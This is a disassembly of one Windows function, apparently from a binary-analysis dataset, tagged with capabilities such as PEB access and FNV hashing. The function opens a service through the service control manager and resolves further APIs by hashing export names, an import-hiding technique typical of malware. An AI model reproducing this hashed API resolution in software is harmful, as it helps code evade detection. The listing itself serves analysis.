Function at 0x180041e50
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x50
mov rax, qword [0x1801e6a40]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180041e8c
xor al, al
jmp 0x18004212b
mov qword [rsp + 0x68], rbp
mov r8d, 0x20
mov rdx, rbx
mov qword [rsp + 0x70], rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x180041f86
mov rax, qword [0x18049ab98]
test rax, rax
jne 0x180041f7a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180041f57
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180041f57
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x1a5c7f05
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180041f52
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180041f30
cmp r8d, 0x96188da0
je 0x180041f5c
test r9d, r9d
jne 0x180041f10
mov rax, qword [rax]
jmp 0x180041ee0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x18049ab98], rax
mov rcx, rsi
call rax
xor al, al
jmp 0x180042121
mov rax, qword [0x18049ab90]
test rax, rax
jne 0x18004204a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180042027
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180042027
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x19694965
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180042022
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180042000
cmp r8d, 0x66a97455
je 0x18004202c
test r9d, r9d
jne 0x180041fe0
mov rax, qword [rax]
jmp 0x180041fb0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x18049ab90], rax
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rbp
call rax
mov rax, qword [0x18049aba0]
test rax, rax
jne 0x18004211a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800420f7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800420f7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa861dbbd
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800420f2
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1800420d0
cmp r8d, 0x257347d8
je 0x1800420fc
test r9d, r9d
jne 0x1800420b0
mov rax, qword [rax]
jmp 0x180042080
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x18049aba0], rax
mov rcx, rbp
call rax
mov al, 1
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180111e20
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rsi
ret